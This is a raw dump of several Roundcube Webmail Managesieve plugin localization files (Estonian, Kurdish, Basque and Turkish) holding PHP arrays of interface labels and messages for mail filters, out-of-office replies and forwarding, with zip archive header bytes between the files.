$messages['ruledeleteconfirm'] = 'Soovid valitud reegli kustutada?';
$messages['actiondeleteconfirm'] = 'Soovid valitud tegevuse kustutada?';
$messages['forbiddenchars'] = 'Väljal on lubamatu märk';
$messages['cannotbeempty'] = 'Väli ei või tühi olla';
$messages['ruleexist'] = 'Määratud nimega filter on juba olemas';
$messages['setactivateerror'] = 'Ei saa valitud filtrite kogumit aktiveerida. Ilmnes serveri viga.';
$messages['setdeactivateerror'] = 'Ei saa valitud filtrite kogumit deaktiveerida. Ilmnes serveri viga.';
$messages['setdeleteerror'] = 'Ei saa valitud filtrite kogumit kustutada. Ilmnes serveri viga.';
$messages['setactivated'] = 'Filtrite kogum aktiveeritud.';
$messages['setdeactivated'] = 'Filtrite kogum deaktiveeritud.';
$messages['setdeleted'] = 'Filtrite kogum kustutatud.';
$messages['setupdated'] = 'Filtrite kogum uuendatud.';
$messages['setdeleteconfirm'] = 'Oled kindel, et tahd valitud filtrite kogumit kustutada?';
$messages['setcreateerror'] = 'Ei saa filtrite kogumit luua. Ilmnes serveri viga.';
$messages['setcreated'] = 'Filtrite kogum loodud.';
$messages['activateerror'] = 'Ei saa valitud filtrit/(eid) aktiveerida. Ilmnes serveri viga.';
$messages['deactivateerror'] = 'Ei saa valitud filtrit/(eid) keelata. Ilmnes serveri viga.';
$messages['deactivated'] = 'Filter edukalt lubatud.';
$messages['activated'] = 'Filter edukalt keelatud.';
$messages['moved'] = 'Filter edukalt liigutatud.';
$messages['moveerror'] = 'Ei saa valitud filtrit liigutada. Ilmnes serveri viga.';
$messages['nametoolong'] = 'Nimi on liiga pikk.';
$messages['namereserved'] = 'Nimi on reserveeritud.';
$messages['setexist'] = 'Kogum on juba olemas.';
$messages['nodata'] = 'Valitud peab olema vähemalt üks asukoht!';
$messages['invaliddateformat'] = 'Vigane kuupäev või kuupäeva formaat';
$messages['saveerror'] = 'Ei saa andmeid salvestada. Imnes serveri viga.';
$messages['vacationsaved'] = 'Kontorist väljas teade edukalt salvestatud.';
$messages['forwardsaved'] = 'Edastuse info edukalt salvestatud.';
$messages['emptyvacationbody'] = 'Puhkuse sõnumi sinu on nõutud!';
$messages['duplicate.conflict.err'] = 'Päis ja unikaalne identifikaator ei ole korraga lubatud.';
$messages['disabledaction'] = 'Tegevus ei ole lubatud.';
$messages['lastindexempty'] = 'Indeks on vajalik kui loendada lõpust';
$messages['noflagset'] = 'Vähemalt üks lipp peab olema valitud.';
PKh�\�9bQOO*plugins/managesieve/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['actions'] = 'کردارەکان';
$labels['messagedelete'] = 'سڕینەوەی پەیام';
$labels['del'] = 'سڕینەوە';
$labels['sender'] = 'نێردەر';
$labels['notifymethodtel'] = 'تەلەفۆن';
$labels['datetest'] = 'بەروار';
$labels['vacation.subject'] = 'ناونیشان';
PKh�\�U��9�9*plugins/managesieve/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Iragazkiak';
$labels['managefilters'] = 'Kudeatu sarrerako posta-iragazkiak';
$labels['filtername'] = 'Iragazkiaren izena';
$labels['newfilter'] = 'Iragazki berria';
$labels['filteradd'] = 'Gehitu iragazkia';
$labels['filterdel'] = 'Ezabatu iragazkia';
$labels['rules'] = 'Araudia';
$labels['actions'] = 'Ekintzak';
$labels['scope'] = 'Esparrua';
$labels['moveup'] = 'Mugitu gora';
$labels['movedown'] = 'Mugitu behera';
$labels['filterallof'] = 'datozen arau guztiak parekatzen';
$labels['filteranyof'] = 'datozen arauetako batzuk parekatzen';
$labels['filterany'] = 'mezu guztiak';
$labels['filtercontains'] = 'badu';
$labels['filternotcontains'] = 'ez du';
$labels['filteris'] = 'honen berdina da';
$labels['filterisnot'] = 'ez da honen berdina';
$labels['filterexists'] = 'badago';
$labels['filternotexists'] = 'ez dago';
$labels['filtermatches'] = 'bat datorren espresioa';
$labels['filternotmatches'] = 'bat ez datorren espresioa';
$labels['filterregex'] = 'bat datozen adierazpen erregularra';
$labels['filternotregex'] = 'bat ez datorren espresio erregularra';
$labels['filterunder'] = 'azpian';
$labels['filterover'] = 'gainean';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME zatia:';
$labels['mime-message'] = 'mezua';
$labels['mime-anychild'] = 'baten bat';
$labels['mime-type'] = 'mota';
$labels['mime-subtype'] = 'azpi-mota';
$labels['mime-contenttype'] = 'eduki mota';
$labels['mime-param'] = 'parametroa';
$labels['addrule'] = 'Gehitu araua';
$labels['delrule'] = 'Ezabatu araua';
$labels['messagemoveto'] = 'Mugitu mezua hona';
$labels['messageredirect'] = 'Birbideratu mezua hona ';
$labels['messagecopyto'] = 'Kopiatu mezua hona';
$labels['messagesendcopy'] = 'Bidali mezuaren kopia hona';
$labels['messagereply'] = 'Erantzun mezuarekin';
$labels['messagedelete'] = 'Ezabatu mezua';
$labels['messagediscard'] = 'Baztertu mezuarekin';
$labels['messagekeep'] = 'Mantendu mezua Sarrera-ontzian';
$labels['messagesrules'] = 'Sarrerako postarako:';
$labels['messagesactions'] = '...exekutatu datozen ekintzak:';
$labels['add'] = 'Gehitu';
$labels['del'] = 'Ezabatu';
$labels['sender'] = 'Bidaltzailea';
$labels['recipient'] = 'Hartzailea';
$labels['vacationaddr'] = 'Nire e-posta helbideak:';
$labels['vacationdays'] = 'Zenbatero bidali mezuak (egunak)';
$labels['vacationinterval'] = 'Zenbatero bidali mezuak:';
$labels['vacationreason'] = 'Mezuaren gorputza (oporrak direla medio):';
$labels['vacationfrom'] = 'Erantzun bidaltzailearen helbidera:';
$labels['vacationsubject'] = 'Mezuaren gaia:';
$labels['days'] = 'egun';
$labels['seconds'] = 'segundo';
$labels['rulestop'] = 'Gelditu arauak ebaluatzen';
$labels['enable'] = 'Gaitu/Ezgaitu';
$labels['filterset'] = 'Iragazki-paketea';
$labels['filtersets'] = 'Iragazki-paketeak';
$labels['filtersetadd'] = 'Gehitu iragazki-paketea';
$labels['filtersetdel'] = 'Ezabatu iragazki-paketea';
$labels['filtersetact'] = 'Aktibatu uneko iragazki-paketea';
$labels['filtersetdeact'] = 'Desaktibatu uneko iragazki-paketea';
$labels['filterseteditraw'] = 'Editatu iragazki multzoa';
$labels['filtersetswitch'] = 'Gaitu/Desgaitu iragazki-paketea';
$labels['filterdef'] = 'Iragazkiaren definizioa';
$labels['filtersetname'] = 'Iragazki-paketearen izena';
$labels['newfilterset'] = 'Iragazki-pakete berria';
$labels['active'] = 'aktiboa';
$labels['none'] = 'Bat ere ez';
$labels['fromset'] = 'paketetik';
$labels['fromfile'] = 'fitxategitik';
$labels['filterdisabled'] = 'Iragazki ezgaitua';
$labels['filterenabled'] = 'Iragazkia gaituta';
$labels['countisgreaterthan'] = 'kopurua handiagoa da hau baino';
$labels['countisgreaterthanequal'] = 'kopurua hau baino handiagoa edo berdina da';
$labels['countislessthan'] = 'kopurua hau baino txikiagoa da';
$labels['countislessthanequal'] = 'kopurua hau baino txikiagoa edo berdina da';
$labels['countequals'] = 'kopurua honen berdina da';
$labels['countnotequals'] = 'kopurua ez da honen berdina';
$labels['valueisgreaterthan'] = 'balioa hau baino handiagoa da';
$labels['valueisgreaterthanequal'] = 'balioa hau baino handiagoa edo berdina da';
$labels['valueislessthan'] = 'balioa hau baino txikiagoa da';
$labels['valueislessthanequal'] = 'balioa hau baino txikiagoa edo berdina da';
$labels['valueequals'] = 'balioa honen berdina da';
$labels['valuenotequals'] = 'balioa ez da honen berdina';
$labels['setflags'] = 'Jarri banderak mezuarik';
$labels['addflags'] = 'Gehitu banderak mezuari';
$labels['removeflags'] = 'Ezabatu banderak mezutik';
$labels['flagread'] = 'Irakurri';
$labels['flagdeleted'] = 'Ezabatuta';
$labels['flaganswered'] = 'Erantzunda';
$labels['flagflagged'] = 'Bandera jarrita';
$labels['flagdraft'] = 'Ziriborroa';
$labels['addheader'] = 'Gehitu goiburua mezuari';
$labels['deleteheader'] = 'Kendu goiburua mezuari';
$labels['headername'] = 'Goiburuaren izena';
$labels['headervalue'] = 'Goiburuaren balioa';
$labels['headerpos'] = 'Goiburuaren kokapena';
$labels['headeratstart'] = 'hisieran';
$labels['headeratend'] = 'bukaeran';
$labels['headeroccurrence'] = 'Goiburuko agerraldia/kokapnena';
$labels['headerfromstart'] = 'hasieratik';
$labels['headerfromend'] = 'bukaeratik';
$labels['headerpatterns'] = 'Goiburuaren balio ereduak';
$labels['headermatchtype'] = 'konparatu mota:';
$labels['setvariable'] = 'Ezarri aldagaia';
$labels['setvarname'] = 'Aldagaiaren izena:';
$labels['setvarvalue'] = 'Aldagaiaren balioa:';
$labels['setvarmodifiers'] = 'Modifikatzaileak:';
$labels['varlower'] = 'minuskulan';
$labels['varupper'] = 'maiuskulan';
$labels['varlowerfirst'] = 'lehenengo karakterea minuskulan';
$labels['varupperfirst'] = 'lehenengo karakterea maiuskulan';
$labels['varquotewildcard'] = 'aipatu karaktere bereziak';
$labels['varlength'] = 'luzera';
$labels['notify'] = 'Bidali jakinarazpena';
$labels['notifytarget'] = 'Jakinarazpenaren xedea:';
$labels['notifymessage'] = 'Jakinarazpenaren mezua (aukerakoa):';
$labels['notifyoptions'] = 'Jakinarazpenaren aukerak (aukerakoa):';
$labels['notifyfrom'] = 'Jakinarazpenaren bidaltzailea (aukerakoa):';
$labels['notifyimportance'] = 'Garrantzia:';
$labels['notifyimportancelow'] = 'baxua';
$labels['notifyimportancenormal'] = 'normala';
$labels['notifyimportancehigh'] = 'altua';
$labels['notifymethodmailto'] = 'Helbide elektronikoa';
$labels['notifymethodtel'] = 'Telefonoa';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Sortu iragazkia';
$labels['usedata'] = 'Erabili datorren data iragazkian:';
$labels['nextstep'] = 'Hurrengo urratsa';
$labels['...'] = '...';
$labels['string'] = 'Katea';
$labels['currdate'] = 'Uneko data';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'goiburua:';
$labels['year'] = 'urte';
$labels['month'] = 'hilabete';
$labels['day'] = 'egun';
$labels['date'] = 'data (yyyy-mm-dd)';
$labels['julian'] = 'data (juliarra)';
$labels['hour'] = 'ordu';
$labels['minute'] = 'minutu';
$labels['second'] = 'segundo';
$labels['time'] = 'ordua  (hh:mm:ss)';
$labels['iso8601'] = 'data  (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'ordu-zona';
$labels['weekday'] = 'asteguna (0-6)';
$labels['advancedopts'] = 'Aukera aurreratuak';
$labels['body'] = 'Gorputza';
$labels['address'] = 'helbidea';
$labels['envelope'] = 'gutun-azala';
$labels['modifier'] = 'modifikatzailea:';
$labels['text'] = 'testua';
$labels['undecoded'] = 'kodetu gabe (gordina)';
$labels['contenttype'] = 'eduki mota';
$labels['modtype'] = 'mota:';
$labels['allparts'] = 'denak';
$labels['domain'] = 'domeinua';
$labels['localpart'] = 'zati lokala';
$labels['user'] = 'erabiltzailea';
$labels['detail'] = 'xehetasuna';
$labels['comparator'] = 'alderatzailea:';
$labels['default'] = 'lehenetsia';
$labels['octet'] = 'zorrotza (zortzikotea)';
$labels['asciicasemap'] = 'minuskulak eta maiuskulak (ascii-casemap)';
$labels['asciinumeric'] = 'numerikoa  (ascii-numeric)';
$labels['index'] = 'indexatu:';
$labels['indexlast'] = 'atzeraka';
$labels['spamtest'] = 'Zabor-maila';
$labels['spamtestisgreaterthan'] = 'hau baino handiagoa da';
$labels['spamtestisgreaterthanequal'] = 'hau baino handiagoa edo berdina da';
$labels['spamtestislessthan'] = 'hau baino txikiagoa da';
$labels['spamtestislessthanequal'] = 'hau baino txikiagoa edo berdina da';
$labels['spamtestequals'] = 'honen berdina da';
$labels['spamtestnotequals'] = 'ez da honen berdina';
$labels['spamtestisunknown'] = 'ezezaguna da';
$labels['vacation'] = 'Bulegotik kanpo';
$labels['vacation.reply'] = 'Erantzun mezua';
$labels['vacation.advanced'] = 'Ezarpen aurreratuak';
$labels['vacation.from'] = 'Erantzun bidaltzailearen helbidera';
$labels['vacation.subject'] = 'Gaia';
$labels['vacation.body'] = 'Gorputza';
$labels['vacation.start'] = 'Hasiera-unea';
$labels['vacation.end'] = 'Bukaera-unea';
$labels['vacation.status'] = 'Egoera';
$labels['vacation.on'] = 'Piztuta';
$labels['vacation.off'] = 'Itzalita';
$labels['vacation.addresses'] = 'Nire e-posta helbideak';
$labels['vacation.interval'] = 'Erantzun tartea';
$labels['vacation.after'] = 'Jarri bulegotik kanpoko araua ondoren';
$labels['vacation.saving'] = 'Datuak gordetzen...';
$labels['vacation.action'] = 'Sarrerako mezuaren ekintza';
$labels['vacation.keep'] = 'Mantendu';
$labels['vacation.discard'] = 'Baztertu';
$labels['vacation.redirect'] = 'Birbideratu hona';
$labels['vacation.copy'] = 'Bidali kopia hona';
$labels['forward'] = 'Birbidaltzen';
$labels['forward.redirect'] = 'Birbideratu hona';
$labels['forward.copy'] = 'Bidali kopia hona';
$labels['forward.on'] = 'Piztuta';
$labels['forward.off'] = 'Itzalita';
$labels['forward.status'] = 'Egoera:';
$labels['forward.action'] = 'Sartzen diren posta-mezuei hurrengo ekintza exekutatu:';
$labels['forward.saving'] = 'Datuak gordetzen...';
$labels['filladdresses'] = 'Bete nire helbide guztiekin';
$labels['arialabelfiltersetactions'] = 'Iragazki-paketearen ekintzak';
$labels['arialabelfilteractions'] = 'Iragazki-ekintzak';
$labels['arialabelfilterform'] = 'Iragazkiaren ezaugarriak';
$labels['ariasummaryfilterslist'] = 'Iragazkien zerrenda';
$labels['ariasummaryfiltersetslist'] = 'Iragazki-paketeen zerrenda';
$labels['filterstitle'] = 'Editatu postaren sarrera-iragazkiak';
$labels['vacationtitle'] = 'Bulegotik-kanpo -erantzun automatiko- araua';
$labels['forwardtitle'] = 'Editatu posta birbidaltzeko araua';
$labels['message'] = 'Mezua';
$labels['duplicate'] = 'bikoiztuta dago';
$labels['notduplicate'] = 'ez dago bikoiztuta';
$labels['duplicate.handle'] = 'heldulekua:';
$labels['duplicate.header'] = 'goiburua:';
$labels['duplicate.uniqueid'] = 'Identifikatzailea:';
$labels['duplicate.seconds'] = 'Denbora-muga (segundo)';
$labels['duplicate.last'] = 'azken exekuzioari dagokiona';
$messages['filterunknownerror'] = 'Zerbitzari ezezaguna errorea';
$messages['filterconnerror'] = 'Ezin da konektatu zerbitzariarekin.';
$messages['filterdeleteerror'] = 'Ezin da ezabatu iragazkia. Errore bat gertatu da zerbitzarian.';
$messages['filterdeleted'] = 'Iragazkia ongi ezabatu da.';
$messages['filtersaved'] = 'Iragazkia ongi ezabatu da.';
$messages['filtersaveerror'] = 'Ezin da gorde iragazkia. Zerbitzarian errore bat gertatu da.';
$messages['filterformerror'] = 'Iragazkien formularioa erroreak ditu.';
$messages['filterdeleteconfirm'] = 'Seguru zaude hautatutako iragazkiak ezabatu nahi dituzula?';
$messages['ruledeleteconfirm'] = 'Seguru zaude hautatutako arauak ezabatu nahi dituzula?';
$messages['actiondeleteconfirm'] = 'Seguru zaude hautatutako ekintzak ezabatu nahi dituzula?';
$messages['forbiddenchars'] = 'Debekatutako karaktereak eremuan.';
$messages['cannotbeempty'] = 'Eremua ezin da hutsik egon.';
$messages['ruleexist'] = 'Lehendik badago izen hori duen iragazki bat.';
$messages['setactivateerror'] = 'Ezin izan da aktibatu hautatutako iragazki-paketea. Zerbitzarian errorea gertatu da.';
$messages['setdeactivateerror'] = 'Ezin izan da desaktibatu hautatutako iragazki-paketea. Zerbitzarian errorea gertatu da.';
$messages['setdeleteerror'] = 'Ezin izan da ezabatu hautatutako iragazki-paketea. Zerbitzarian errorea gertatu da.';
$messages['setactivated'] = 'iragazki-paketea behar bezala aktibatu da.';
$messages['setdeactivated'] = 'iragazki-paketea behar bezala desaktibatu da.';
$messages['setdeleted'] = 'iragazki-paketea behar bezala ezabatu da.';
$messages['setupdated'] = 'iragazki-paketea behar bezala egineratu da.';
$messages['setdeleteconfirm'] = 'Ziur zaude hautatutako iragazki-paketea ezabatu nahi duzula?';
$messages['setcreateerror'] = 'Ezin izan da sortu iragazki-paketea. Zerbitzarian errorea gertatu da.';
$messages['setcreated'] = 'Iragazki-paketea behar bezala sortu da.';
$messages['activateerror'] = 'Ezin da gaitu hautatutako iragazkia(k). Zerbitzarian errore bat gertatu da.';
$messages['deactivateerror'] = 'Ezin da ezgaitu hautatutako iragazkia(k). Zerbitzarian errore bat gertatu da.';
$messages['deactivated'] = 'Iragazkia(k) ongi ezgaitu da.';
$messages['activated'] = 'Iragazkia(k) ongi gaitu da.';
$messages['moved'] = 'Iragazkia ongi mugitu da.';
$messages['moveerror'] = 'Ezin da mugitu hautatutako iragazkia. Zerbitzarian errore bat gertatu da.';
$messages['nametoolong'] = 'Izen luzeegia.';
$messages['namereserved'] = 'Izen erreserbatua.';
$messages['setexist'] = 'Lehendik badago pakete hori.';
$messages['nodata'] = 'Gutxienez posizio bat hautatu behar da!';
$messages['invaliddateformat'] = 'Dataren edo dataren zati baten formatua ez da baliozkoa ';
$messages['saveerror'] = 'Ezin dira datuak gorde. Errorea gertatu da zerbitzarian.';
$messages['vacationsaved'] = 'Bulegotik kanpoko datuak behar bezala gorde dira.';
$messages['forwardsaved'] = 'Birbidaltzeko datuak behar bezala gorde dira.';
$messages['emptyvacationbody'] = 'Beharrezkoa da oporraldiko mezua jartzea!';
$messages['duplicate.conflict.err'] = 'Goiburua eta identifikatzaile bakarra ez dira onartzen.';
$messages['disabledaction'] = 'Ekintza ez da onartzen.';
$messages['lastindexempty'] = 'Indizea beharrezkoa da amaieratik zenbatzen denean';
$messages['noflagset'] = 'Gutxienez bandera bat hautatu behar da.';
PKh�\���D9D9*plugins/managesieve/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Süzgeçler';
$labels['managefilters'] = 'Gelen e-posta süzgeçleri yönetimi';
$labels['filtername'] = 'Süzgeç adı';
$labels['newfilter'] = 'Yeni süzgeç';
$labels['filteradd'] = 'Süzgeç ekle';
$labels['filterdel'] = 'Süzgeci Sil';
$labels['rules'] = 'Kurallar';
$labels['actions'] = 'İşlemler';
$labels['scope'] = 'Kapsam';
$labels['moveup'] = 'Yukarı taşı';
$labels['movedown'] = 'Aşağı taşı';
$labels['filterallof'] = 'Aşağıdaki kuralların hepsine uyan';
$labels['filteranyof'] = 'Aşağıdaki kuralların herhangi birine uyan';
$labels['filterany'] = 'Tüm iletiler';
$labels['filtercontains'] = 'şunu içeren';
$labels['filternotcontains'] = 'şunu içermeyen';
$labels['filteris'] = 'şuna eşit olan';
$labels['filterisnot'] = 'şuna eşit olmayan';
$labels['filterexists'] = 'şu var olan';
$labels['filternotexists'] = 'şu var olmayan';
$labels['filtermatches'] = 'şu ifadeye uyan';
$labels['filternotmatches'] = 'şu ifadeye uymayan';
$labels['filterregex'] = 'şu kurallı ifadeye uyan';
$labels['filternotregex'] = 'şu kurallı ifadeye uymayan';
$labels['filterunder'] = 'şunun altında';
$labels['filterover'] = 'şunun üzerinde';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME parçası:';
$labels['mime-message'] = 'ileti';
$labels['mime-anychild'] = 'tümü';
$labels['mime-type'] = 'tür';
$labels['mime-subtype'] = 'alt tür';
$labels['mime-contenttype'] = 'içerik türü';
$labels['mime-param'] = 'parametre';
$labels['addrule'] = 'Kural ekle';
$labels['delrule'] = 'Kuralı sil';
$labels['messagemoveto'] = 'İletiyi şuraya taşı';
$labels['messageredirect'] = 'İletiyi şuraya yönlendir';
$labels['messagecopyto'] = 'İletiyi şuraya kopyala';
$labels['messagesendcopy'] = 'İletinin kopyasını şuraya gönder';
$labels['messagereply'] = 'İletiyle birlikte yanıtla';
$labels['messagedelete'] = 'İletiyi sil';
$labels['messagediscard'] = 'İletiyi yok say';
$labels['messagekeep'] = 'İleti Gelen kutusunda tutulsun';
$labels['messagesrules'] = 'Gelen iletiler için:';
$labels['messagesactions'] = '...aşağıdaki işlemleri yürüt:';
$labels['add'] = 'Ekle';
$labels['del'] = 'Sil';
$labels['sender'] = 'Gönderici';
$labels['recipient'] = 'Alıcı';
$labels['vacationaddr'] = 'E-posta adreslerim:';
$labels['vacationdays'] = 'İleti gönderme sıklığı (gün):';
$labels['vacationinterval'] = 'İleti gönderme sıklığı:';
$labels['vacationreason'] = 'İleti gövdesi (tatil nedeni):';
$labels['vacationfrom'] = 'Gönderici adresine yanıtla:';
$labels['vacationsubject'] = 'İleti konusu:';
$labels['days'] = 'gün';
$labels['seconds'] = 'saniye';
$labels['rulestop'] = 'Kuralları değerlendirmeyi bitir';
$labels['enable'] = 'Etkinleştir/Devre dışı bırak';
$labels['filterset'] = 'Süzgeç kümesi';
$labels['filtersets'] = 'Süzgeç kümeleri';
$labels['filtersetadd'] = 'Süzgeç kümesi ekle';
$labels['filtersetdel'] = 'Süzgeç kümesini sil';
$labels['filtersetact'] = 'Geçerli süzgeç kümesini etkinleştir';
$labels['filtersetdeact'] = 'Geçerli süzgeç kümesini devre dışı bırak';
$labels['filterseteditraw'] = 'Süzgeç kümesini düzenle';
$labels['filtersetswitch'] = 'Süzgeç kümesini aç/kapat';
$labels['filterdef'] = 'Süzgeç tanımı';
$labels['filtersetname'] = 'Süzgeç kümesi adı';
$labels['newfilterset'] = 'Yeni süzgeç kümesi ';
$labels['active'] = 'etkin';
$labels['none'] = 'hiçbiri';
$labels['fromset'] = 'şu kümeden';
$labels['fromfile'] = 'şu dosyadan';
$labels['filterdisabled'] = 'Süzgeç devre dışı';
$labels['filterenabled'] = 'Süzgeç etkin';
$labels['countisgreaterthan'] = 'sayısı şundan büyük olan';
$labels['countisgreaterthanequal'] = 'sayısı şundan büyük ya da eşit olan';
$labels['countislessthan'] = 'sayısı şundan küçük olan';
$labels['countislessthanequal'] = 'sayısı şundan küçük ya da eşit olan';
$labels['countequals'] = 'sayısı şuna eşit olan';
$labels['countnotequals'] = 'sayısı şuna eşit olmayan';
$labels['valueisgreaterthan'] = 'değeri şundan büyük olan';
$labels['valueisgreaterthanequal'] = 'değeri şundan büyük ya da eşit olan';
$labels['valueislessthan'] = 'değeri şundan küçük olan';
$labels['valueislessthanequal'] = 'değer şundan küçük ya da  eşit olan';
$labels['valueequals'] = 'değeri şuna eşit olan';
$labels['valuenotequals'] = 'değeri şuna eşit olmayan';
$labels['setflags'] = 'İletiyi işaretlerini ayarla';
$labels['addflags'] = 'İletiye işaret ekle';
$labels['removeflags'] = 'İleti işaretlerini kaldır';
$labels['flagread'] = 'Okunmuş';
$labels['flagdeleted'] = 'Silinmiş';
$labels['flaganswered'] = 'Yanıtlanmış';
$labels['flagflagged'] = 'İşaretlenmiş';
$labels['flagdraft'] = 'Taslak';
$labels['addheader'] = 'İletiye üst bilgi ekle';
$labels['deleteheader'] = 'İletideki üst bilgiyi kaldır';
$labels['headername'] = 'Üst bilgi adı';
$labels['headervalue'] = 'Üst bilgi değeri';
$labels['headerpos'] = 'Üst bilgi konumu';
$labels['headeratstart'] = 'üstte';
$labels['headeratend'] = 'altta';
$labels['headeroccurrence'] = 'Üst bilgi görüntülenmesi/konumu';
$labels['headerfromstart'] = 'üstten';
$labels['headerfromend'] = 'alttan';
$labels['headerpatterns'] = 'Üst bilgi değeri düzenleri';
$labels['headermatchtype'] = 'eşleşme türü:';
$labels['setvariable'] = 'Değişken tanımla';
$labels['setvarname'] = 'Değişken adı:';
$labels['setvarvalue'] = 'Değişken değeri:';
$labels['setvarmodifiers'] = 'Alanlar:';
$labels['varlower'] = 'küçük harf';
$labels['varupper'] = 'büyük harf';
$labels['varlowerfirst'] = 'İlk karakter küçük harf';
$labels['varupperfirst'] = 'İlk karakter büyük harf';
$labels['varquotewildcard'] = 'özel karakterleri tırnak içine al';
$labels['varlength'] = 'uzunluk';
$labels['varencodeurl'] = 'yüzde kodlama (adresler için)';
$labels['notify'] = 'Bildirim gönder';
$labels['notifytarget'] = 'Bildirim hedefi:';
$labels['notifymessage'] = 'Bildirim iletisi (isteğe bağlı):';
$labels['notifyoptions'] = 'Bildirim ayarları (isteğe bağlı):';
$labels['notifyfrom'] = 'Bildirim göndericisi (isteğe bağlı):';
$labels['notifyimportance'] = 'Önem derecesi:';
$labels['notifyimportancelow'] = 'düşük';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'yüksek';
$labels['notifymethodmailto'] = 'E-posta';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Süzgeç ekle';
$labels['usedata'] = 'Süzgeçte şu veriler kullanılsın:';
$labels['nextstep'] = 'Sonraki adım';
$labels['...'] = '...';
$labels['string'] = 'Dizge';
$labels['currdate'] = 'Geçerli tarih';
$labels['datetest'] = 'Tarih';
$labels['dateheader'] = 'üst bilgi:';
$labels['year'] = 'yıl';
$labels['month'] = 'ay';
$labels['day'] = 'gün';
$labels['date'] = 'tarih (yyyy-aa-gg)';
$labels['julian'] = 'tarih (julian)';
$labels['hour'] = 'saat';
$labels['minute'] = 'dakika';
$labels['second'] = 'saniye';
$labels['time'] = 'saat (ss:dd:ss)';
$labels['iso8601'] = 'tarih (ISO8601)';
$labels['std11'] = 'tarih (RFC2822)';
$labels['zone'] = 'saat-dilimi';
$labels['weekday'] = 'haftanın günleri (0-6)';
$labels['advancedopts'] = 'Gelişmiş ayarlar';
$labels['body'] = 'Metin';
$labels['address'] = 'adres';
$labels['envelope'] = 'zarf';
$labels['modifier'] = 'alan:';
$labels['text'] = 'metin';
$labels['undecoded'] = 'kodu çözülmemiş (ham)';
$labels['contenttype'] = 'içerik türü';
$labels['modtype'] = 'tür:';
$labels['allparts'] = 'tümü';
$labels['domain'] = 'etki alanı';
$labels['localpart'] = 'yerel parça';
$labels['user'] = 'kullanıcı';
$labels['detail'] = 'ayrıntı';
$labels['comparator'] = 'karşılaştırıcı:';
$labels['default'] = 'varsayılan';
$labels['octet'] = 'sıkı (sekizli)';
$labels['asciicasemap'] = 'büyük küçük harfe duyarsız (ascii-casemap)';
$labels['asciinumeric'] = 'sayı (ascii-numeric)';
$labels['index'] = 'Dizin:';
$labels['indexlast'] = 'geriye yönelik';
$labels['spamtest'] = 'İstenmeyen e-posta düzeyi';
$labels['spamtestisgreaterthan'] = 'şundan büyük olan';
$labels['spamtestisgreaterthanequal'] = 'şundan büyük ve eşit olan';
$labels['spamtestislessthan'] = 'şundan küçük olan';
$labels['spamtestislessthanequal'] = 'şundan küçük ve eşit olan';
$labels['spamtestequals'] = 'şuna eşit olan';
$labels['spamtestnotequals'] = 'şuna eşit olmayan';
$labels['spamtestisunknown'] = 'bilinmeyen';
$labels['vacation'] = 'Ofis dışında';
$labels['vacation.reply'] = 'İletiyi yanıtla';
$labels['vacation.advanced'] = 'Gelişmiş ayarlar';
$labels['vacation.from'] = 'Gönderici adresine yanıtla';
$labels['vacation.subject'] = 'Konu';
$labels['vacation.body'] = 'Metin';
$labels['vacation.start'] = 'Başlangıç saati';
$labels['vacation.end'] = 'Bitiş saati';
$labels['vacation.status'] = 'Durum';
$labels['vacation.on'] = 'Etkin';
$labels['vacation.off'] = 'Devre dışı';
$labels['vacation.addresses'] = 'E-posta adreslerim';
$labels['vacation.interval'] = 'Yanıt aralığı';
$labels['vacation.after'] = 'Ofis dışında kuralını şunun arkasına koy';
$labels['vacation.saving'] = 'Veriler kaydediliyor...';
$labels['vacation.action'] = 'Gelen ileti işlemi';
$labels['vacation.keep'] = 'Koru';
$labels['vacation.discard'] = 'Yok say';
$labels['vacation.redirect'] = 'Şuraya yönlendir';
$labels['vacation.copy'] = 'Şuraya kopya gönder';
$labels['forward'] = 'İletiliyor';
$labels['forward.redirect'] = 'Şuraya yönlendir';
$labels['forward.copy'] = 'Şuraya kopya gönder';
$labels['forward.on'] = 'Etkin';
$labels['forward.off'] = 'Devre dışı';
$labels['forward.status'] = 'Durum:';
$labels['forward.action'] = 'Gelen e-postalar için şu işlem yürütülsün:';
$labels['forward.saving'] = 'Veriler kaydediliyor...';
$labels['filladdresses'] = 'Benim adreslerimle doldur';
$labels['arialabelfiltersetactions'] = 'Süzgeç kümesi işlemleri';
$labels['arialabelfilteractions'] = 'Süzgeç işlemleri';
$labels['arialabelfilterform'] = 'Süzgeç özellikleri';
$labels['ariasummaryfilterslist'] = 'Süzgeç listesi';
$labels['ariasummaryfiltersetslist'] = 'Süzgeç kümesi listesi';
$labels['filterstitle'] = 'Gelen e-posta süzgeçlerini düzenle';
$labels['vacationtitle'] = 'Ofis dışında kuralını düzenle';
